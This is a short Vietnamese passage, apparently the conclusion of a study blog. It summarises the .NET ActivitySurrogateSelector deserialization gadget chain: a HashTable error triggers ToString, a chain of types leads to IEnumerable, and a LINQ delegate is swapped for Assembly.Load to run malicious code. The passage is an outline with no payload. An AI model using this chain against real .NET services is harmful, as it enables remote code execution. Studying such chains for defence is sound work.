- Vậy là đi qua chain này rồi, tới đây và tại thời điểm này tôi nghĩ mình đã hiểu được 90-95% chain này.
- Đây là một blog dài, nhưng với 1 .Net deserialize 2 tuần như tôi thì qua blog này tôi học được rất nhiều thứ.
- Và đây là tổng kết flow của chain ActivitySurrogateSelector:
-
Trigger lỗi trong HashTable để execute vào ToString
-
Từ ToString đến IEnumerable
1
ToString -> DesignerVerb -> IDictionary -> AggregateDictionary -> ICollectionICollection -> PagedDataSource -> IEnumerable
-
Từ IEnumerable đến LINQ exploit chain
1 2 3
byte[] -> Assembly.Load(byte[]) -> Assembly Assembly -> Assembly.GetType() -> Type[] Type[] -> Activator.CreateInstance(Type[]) -> object[]
-
LINQ exploit chain:
- Sử dụng
ActivitySurrogateSelector+ObjectSurrogate
để serialize những class không thể serialize, mục tiêu tại LINQ - Dùng LINQ thay thế delegate của nó thành
Assembly.Load
để load malicious code và tạo 1 instance
- Sử dụng
-
Dùng
System.Windows.Forms.AxHost.State
wrap để handle exception.
-
VII Nguồn tham khảo
.net反序列化之SoapFormatter - 先知社区 (aliyun.com)
SoapFormatter反序列化链ActivitySurrogateSelector - zpchcbd - 博客园 (cnblogs.com)